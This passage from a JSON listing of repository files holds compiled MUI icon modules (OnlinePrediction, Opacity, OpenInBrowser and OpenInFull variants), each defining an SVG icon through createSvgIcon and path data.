1.12.06.27-.27.3-.71.06-1C4.27 16.03 3.5 14.1 3.5 12m14 0c0 1.28-.44 2.47-1.18 3.41-.23.29-.2.71.07.98.32.32.85.29 1.13-.07C18.44 15.13 19 13.63 19 12s-.56-3.13-1.49-4.31c-.28-.36-.81-.39-1.13-.07-.26.26-.3.68-.07.98.75.93 1.19 2.12 1.19 3.4m-9.88 4.38c.26-.26.3-.68.07-.98-.75-.93-1.19-2.12-1.19-3.4s.44-2.47 1.18-3.41c.23-.29.2-.71-.07-.98-.31-.31-.84-.28-1.12.07C5.56 8.87 5 10.37 5 12s.56 3.13 1.49 4.32c.28.35.81.38 1.13.06\"\n}), 'OnlinePredictionRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/OnlinePredictionRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.5 11.5c0 2-2.5 3.5-2.5 5h-2c0-1.5-2.5-3-2.5-5C8.5 9.57 10.07 8 12 8s3.5 1.57 3.5 3.5m-2.5 6h-2v.5c0 .55.45 1 1 1s1-.45 1-1zm9-5.5c0-2.46-.89-4.71-2.36-6.45-.29-.34-.8-.38-1.12-.06-.27.27-.3.71-.06 1C19.73 7.97 20.5 9.9 20.5 12s-.77 4.03-2.04 5.52c-.25.29-.21.73.06 1 .32.32.83.28 1.12-.06 1.47-1.75 2.36-4 2.36-6.46M3.5 12c0-2.1.77-4.03 2.04-5.52.25-.29.21-.73-.06-1-.31-.31-.83-.28-1.12.06C2.89 7.29 2 9.54 2 12s.89 4.71 2.36 6.46c.29.34.8.38 1.12.06.27-.27.3-.71.06-1C4.27 16.03 3.5 14.1 3.5 12m14 0c0 1.28-.44 2.47-1.18 3.41-.23.29-.2.71.07.98.32.32.85.29 1.13-.07C18.44 15.13 19 13.63 19 12s-.56-3.13-1.49-4.31c-.28-.36-.81-.39-1.13-.07-.26.26-.3.68-.07.98.75.93 1.19 2.12 1.19 3.4m-9.88 4.38c.26-.26.3-.68.07-.98-.75-.93-1.19-2.12-1.19-3.4s.44-2.47 1.18-3.41c.23-.29.2-.71-.07-.98-.31-.31-.84-.28-1.12.07C5.56 8.87 5 10.37 5 12s.56 3.13 1.49 4.32c.28.35.81.38 1.13.06\"\n}), 'OnlinePredictionRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/OnlinePredictionSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.5 11.5c0 2-2.5 3.5-2.5 5h-2c0-1.5-2.5-3-2.5-5C8.5 9.57 10.07 8 12 8s3.5 1.57 3.5 3.5m-2.5 6h-2V19h2zm9-5.5c0-2.76-1.12-5.26-2.93-7.07l-1.06 1.06C19.55 7.53 20.5 9.66 20.5 12s-.95 4.47-2.49 6.01l1.06 1.06C20.88 17.26 22 14.76 22 12M3.5 12c0-2.34.95-4.47 2.49-6.01L4.93 4.93C3.12 6.74 2 9.24 2 12s1.12 5.26 2.93 7.07l1.06-1.06C4.45 16.47 3.5 14.34 3.5 12m14 0c0 1.52-.62 2.89-1.61 3.89l1.06 1.06C18.22 15.68 19 13.93 19 12s-.78-3.68-2.05-4.95l-1.06 1.06c.99 1 1.61 2.37 1.61 3.89M7.05 16.95l1.06-1.06c-1-1-1.61-2.37-1.61-3.89s.62-2.89 1.61-3.89L7.05 7.05C5.78 8.32 5 10.07 5 12s.78 3.68 2.05 4.95\"\n}), 'OnlinePredictionSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/OnlinePredictionSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.5 11.5c0 2-2.5 3.5-2.5 5h-2c0-1.5-2.5-3-2.5-5C8.5 9.57 10.07 8 12 8s3.5 1.57 3.5 3.5m-2.5 6h-2V19h2zm9-5.5c0-2.76-1.12-5.26-2.93-7.07l-1.06 1.06C19.55 7.53 20.5 9.66 20.5 12s-.95 4.47-2.49 6.01l1.06 1.06C20.88 17.26 22 14.76 22 12M3.5 12c0-2.34.95-4.47 2.49-6.01L4.93 4.93C3.12 6.74 2 9.24 2 12s1.12 5.26 2.93 7.07l1.06-1.06C4.45 16.47 3.5 14.34 3.5 12m14 0c0 1.52-.62 2.89-1.61 3.89l1.06 1.06C18.22 15.68 19 13.93 19 12s-.78-3.68-2.05-4.95l-1.06 1.06c.99 1 1.61 2.37 1.61 3.89M7.05 16.95l1.06-1.06c-1-1-1.61-2.37-1.61-3.89s.62-2.89 1.61-3.89L7.05 7.05C5.78 8.32 5 10.07 5 12s.78 3.68 2.05 4.95\"\n}), 'OnlinePredictionSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/OnlinePredictionTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.5 11.5c0 2-2.5 3.5-2.5 5h-2c0-1.5-2.5-3-2.5-5C8.5 9.57 10.07 8 12 8s3.5 1.57 3.5 3.5m-2.5 6h-2V19h2zm9-5.5c0-2.76-1.12-5.26-2.93-7.07l-1.06 1.06C19.55 7.53 20.5 9.66 20.5 12s-.95 4.47-2.49 6.01l1.06 1.06C20.88 17.26 22 14.76 22 12M3.5 12c0-2.34.95-4.47 2.49-6.01L4.93 4.93C3.12 6.74 2 9.24 2 12s1.12 5.26 2.93 7.07l1.06-1.06C4.45 16.47 3.5 14.34 3.5 12m14 0c0 1.52-.62 2.89-1.61 3.89l1.06 1.06C18.22 15.68 19 13.93 19 12s-.78-3.68-2.05-4.95l-1.06 1.06c.99 1 1.61 2.37 1.61 3.89M7.05 16.95l1.06-1.06c-1-1-1.61-2.37-1.61-3.89s.62-2.89 1.61-3.89L7.05 7.05C5.78 8.32 5 10.07 5 12s.78 3.68 2.05 4.95\"\n}), 'OnlinePredictionTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/OnlinePredictionTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.5 11.5c0 2-2.5 3.5-2.5 5h-2c0-1.5-2.5-3-2.5-5C8.5 9.57 10.07 8 12 8s3.5 1.57 3.5 3.5m-2.5 6h-2V19h2zm9-5.5c0-2.76-1.12-5.26-2.93-7.07l-1.06 1.06C19.55 7.53 20.5 9.66 20.5 12s-.95 4.47-2.49 6.01l1.06 1.06C20.88 17.26 22 14.76 22 12M3.5 12c0-2.34.95-4.47 2.49-6.01L4.93 4.93C3.12 6.74 2 9.24 2 12s1.12 5.26 2.93 7.07l1.06-1.06C4.45 16.47 3.5 14.34 3.5 12m14 0c0 1.52-.62 2.89-1.61 3.89l1.06 1.06C18.22 15.68 19 13.93 19 12s-.78-3.68-2.05-4.95l-1.06 1.06c.99 1 1.61 2.37 1.61 3.89M7.05 16.95l1.06-1.06c-1-1-1.61-2.37-1.61-3.89s.62-2.89 1.61-3.89L7.05 7.05C5.78 8.32 5 10.07 5 12s.78 3.68 2.05 4.95\"\n}), 'OnlinePredictionTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Opacity.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17.66 8 12 2.35 6.34 8C4.78 9.56 4 11.64 4 13.64s.78 4.11 2.34 5.67 3.61 2.35 5.66 2.35 4.1-.79 5.66-2.35S20 15.64 20 13.64 19.22 9.56 17.66 8M6 14c.01-2 .62-3.27 1.76-4.4L12 5.27l4.24 4.38C17.38 10.77 17.99 12 18 14z\"\n}), 'Opacity');"
  },
  {
    "path": "packages/mui-icons-material/lib/Opacity.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17.66 8 12 2.35 6.34 8C4.78 9.56 4 11.64 4 13.64s.78 4.11 2.34 5.67 3.61 2.35 5.66 2.35 4.1-.79 5.66-2.35S20 15.64 20 13.64 19.22 9.56 17.66 8M6 14c.01-2 .62-3.27 1.76-4.4L12 5.27l4.24 4.38C17.38 10.77 17.99 12 18 14z\"\n}), 'Opacity');"
  },
  {
    "path": "packages/mui-icons-material/lib/OpacityOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17.66 8 12 2.35 6.34 8C4.78 9.56 4 11.64 4 13.64s.78 4.11 2.34 5.67 3.61 2.35 5.66 2.35 4.1-.79 5.66-2.35S20 15.64 20 13.64 19.22 9.56 17.66 8M6 14c.01-2 .62-3.27 1.76-4.4L12 5.27l4.24 4.38C17.38 10.77 17.99 12 18 14z\"\n}), 'OpacityOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/OpacityOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17.66 8 12 2.35 6.34 8C4.78 9.56 4 11.64 4 13.64s.78 4.11 2.34 5.67 3.61 2.35 5.66 2.35 4.1-.79 5.66-2.35S20 15.64 20 13.64 19.22 9.56 17.66 8M6 14c.01-2 .62-3.27 1.76-4.4L12 5.27l4.24 4.38C17.38 10.77 17.99 12 18 14z\"\n}), 'OpacityOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/OpacityRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17.65 7.56 12.7 2.69c-.39-.38-1.01-.38-1.4 0L6.35 7.56C4.9 8.99 4 10.96 4 13.13 4 17.48 7.58 21 12 21s8-3.52 8-7.87c0-2.17-.9-4.14-2.35-5.57m-9.9 1.43L12 4.81l4.25 4.18c.88.87 2.04 2.59 1.67 5.01H6.07c-.37-2.42.8-4.15 1.68-5.01\"\n}), 'OpacityRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/OpacityRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17.65 7.56 12.7 2.69c-.39-.38-1.01-.38-1.4 0L6.35 7.56C4.9 8.99 4 10.96 4 13.13 4 17.48 7.58 21 12 21s8-3.52 8-7.87c0-2.17-.9-4.14-2.35-5.57m-9.9 1.43L12 4.81l4.25 4.18c.88.87 2.04 2.59 1.67 5.01H6.07c-.37-2.42.8-4.15 1.68-5.01\"\n}), 'OpacityRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/OpacitySharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17.66 8 12 2.35 6.34 8C4.78 9.56 4 11.64 4 13.64s.78 4.11 2.34 5.67 3.61 2.35 5.66 2.35 4.1-.79 5.66-2.35S20 15.64 20 13.64 19.22 9.56 17.66 8M6 14c.01-2 .62-3.27 1.76-4.4L12 5.27l4.24 4.38C17.38 10.77 17.99 12 18 14z\"\n}), 'OpacitySharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/OpacitySharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17.66 8 12 2.35 6.34 8C4.78 9.56 4 11.64 4 13.64s.78 4.11 2.34 5.67 3.61 2.35 5.66 2.35 4.1-.79 5.66-2.35S20 15.64 20 13.64 19.22 9.56 17.66 8M6 14c.01-2 .62-3.27 1.76-4.4L12 5.27l4.24 4.38C17.38 10.77 17.99 12 18 14z\"\n}), 'OpacitySharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/OpacityTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.24 9.65 12 5.27 7.76 9.6C6.62 10.73 6.01 12 6 14h12c-.01-2-.62-3.23-1.76-4.35\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17.66 8 12 2.35 6.34 8C4.78 9.56 4 11.64 4 13.64s.78 4.11 2.34 5.67 3.61 2.35 5.66 2.35 4.1-.79 5.66-2.35S20 15.64 20 13.64 19.22 9.56 17.66 8M6 14c.01-2 .62-3.27 1.76-4.4L12 5.27l4.24 4.38C17.38 10.77 17.99 12 18 14z\"\n}, \"1\")], 'OpacityTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/OpacityTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.24 9.65 12 5.27 7.76 9.6C6.62 10.73 6.01 12 6 14h12c-.01-2-.62-3.23-1.76-4.35\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M17.66 8 12 2.35 6.34 8C4.78 9.56 4 11.64 4 13.64s.78 4.11 2.34 5.67 3.61 2.35 5.66 2.35 4.1-.79 5.66-2.35S20 15.64 20 13.64 19.22 9.56 17.66 8M6 14c.01-2 .62-3.27 1.76-4.4L12 5.27l4.24 4.38C17.38 10.77 17.99 12 18 14z\"\n}, \"1\")], 'OpacityTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/OpenInBrowser.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 4H5c-1.11 0-2 .9-2 2v12c0 1.1.89 2 2 2h4v-2H5V8h14v10h-4v2h4c1.1 0 2-.9 2-2V6c0-1.1-.89-2-2-2m-7 6-4 4h3v6h2v-6h3z\"\n}), 'OpenInBrowser');"
  },
  {
    "path": "packages/mui-icons-material/lib/OpenInBrowser.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 4H5c-1.11 0-2 .9-2 2v12c0 1.1.89 2 2 2h4v-2H5V8h14v10h-4v2h4c1.1 0 2-.9 2-2V6c0-1.1-.89-2-2-2m-7 6-4 4h3v6h2v-6h3z\"\n}), 'OpenInBrowser');"
  },
  {
    "path": "packages/mui-icons-material/lib/OpenInBrowserOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 4H5c-1.11 0-2 .9-2 2v12c0 1.1.89 2 2 2h4v-2H5V8h14v10h-4v2h4c1.1 0 2-.9 2-2V6c0-1.1-.89-2-2-2m-7 6-4 4h3v6h2v-6h3z\"\n}), 'OpenInBrowserOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/OpenInBrowserOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 4H5c-1.11 0-2 .9-2 2v12c0 1.1.89 2 2 2h4v-2H5V8h14v10h-4v2h4c1.1 0 2-.9 2-2V6c0-1.1-.89-2-2-2m-7 6-4 4h3v6h2v-6h3z\"\n}), 'OpenInBrowserOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/OpenInBrowserRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 4H5c-1.11 0-2 .9-2 2v12c0 1.1.9 2 2 2h3c.55 0 1-.45 1-1s-.45-1-1-1H5V8h14v10h-3c-.55 0-1 .45-1 1s.45 1 1 1h3c1.1 0 2-.9 2-2V6c0-1.1-.89-2-2-2m-7.35 6.35-2.79 2.79c-.32.32-.1.86.35.86H11v5c0 .55.45 1 1 1s1-.45 1-1v-5h1.79c.45 0 .67-.54.35-.85l-2.79-2.79c-.19-.2-.51-.2-.7-.01\"\n}), 'OpenInBrowserRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/OpenInBrowserRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 4H5c-1.11 0-2 .9-2 2v12c0 1.1.9 2 2 2h3c.55 0 1-.45 1-1s-.45-1-1-1H5V8h14v10h-3c-.55 0-1 .45-1 1s.45 1 1 1h3c1.1 0 2-.9 2-2V6c0-1.1-.89-2-2-2m-7.35 6.35-2.79 2.79c-.32.32-.1.86.35.86H11v5c0 .55.45 1 1 1s1-.45 1-1v-5h1.79c.45 0 .67-.54.35-.85l-2.79-2.79c-.19-.2-.51-.2-.7-.01\"\n}), 'OpenInBrowserRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/OpenInBrowserSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 4v16h6v-2H5V8h14v10h-4v2h6V4zm9 6-4 4h3v6h2v-6h3z\"\n}), 'OpenInBrowserSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/OpenInBrowserSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 4v16h6v-2H5V8h14v10h-4v2h6V4zm9 6-4 4h3v6h2v-6h3z\"\n}), 'OpenInBrowserSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/OpenInBrowserTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 4H5c-1.11 0-2 .9-2 2v12c0 1.1.89 2 2 2h4v-2H5V8h14v10h-4v2h4c1.1 0 2-.9 2-2V6c0-1.1-.89-2-2-2m-7 6-4 4h3v6h2v-6h3z\"\n}), 'OpenInBrowserTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/OpenInBrowserTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 4H5c-1.11 0-2 .9-2 2v12c0 1.1.89 2 2 2h4v-2H5V8h14v10h-4v2h4c1.1 0 2-.9 2-2V6c0-1.1-.89-2-2-2m-7 6-4 4h3v6h2v-6h3z\"\n}), 'OpenInBrowserTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/OpenInFull.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 11V3h-8l3.29 3.29-10 10L3 13v8h8l-3.29-3.29 10-10z\"\n}), 'OpenInFull');"
  },
  {
    "path": "packages/mui-icons-material/lib/OpenInFull.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 11V3h-8l3.29 3.29-10 10L3 13v8h8l-3.29-3.29 10-10z\"\n}), 'OpenInFull');"
  },
  {
    "path": "packages/mui-icons-material/lib/OpenInFullOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 11V3h-8l3.29 3.29-10 10L3 13v8h8l-3.29-3.29 10-10z\"\n}), 'OpenInFullOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/OpenInFullOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 11V3h-8l3.29 3.29-10 10L3 13v8h8l-3.29-3.29 10-10z\"\n}), 'OpenInFullOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/OpenInFullRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 8.59V4c0-.55-.45-1-1-1h-4.59c-.89 0-1.34 1.08-.71 1.71l1.59 1.59-10 10-1.59-1.59c-.62-.63-1.7-.19-1.7.7V20c0 .55.45 1 1 1h4.59c.89 0 1.34-1.08.71-1.71L7.71 17.7l10-10 1.59 1.59c.62.63 1.7.19 1.7-.7\"\n}), 'OpenInFullRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/OpenInFullRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 8.59V4c0-.55-.45-1-1-1h-4.59c-.89 0-1.34 1.08-.71 1.71l1.59 1.59-10 10-1.59-1.59c-.62-.63-1.7-.19-1.7.7V20c0 .55.45 1 1 1h4.59c.89 0 1.34-1.08.71-1.71L7.71 17.7l10-10 1.59 1.59c.62.63 1.7.19 1.7-.7\"\n}), 'OpenInFullRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/OpenInFullSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 11V3h-8l3.29 3.29-10 10L3 13v8h8l-3.29-3.29 10-10z\"\n}), 'OpenInFullSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/OpenInFullSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 11V3h-8l3.29 3.29-10 10L3 13v8h8l-3.29-3.29 10-10z\"\n}), 'OpenInFullSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/OpenInFullTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 11V3h-8l3.29 3.29-10 10L3 13v8h8l-3.29-3.29 10-10z\"\n}), 'OpenInFullTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/OpenInFullTwoTone.mjs",
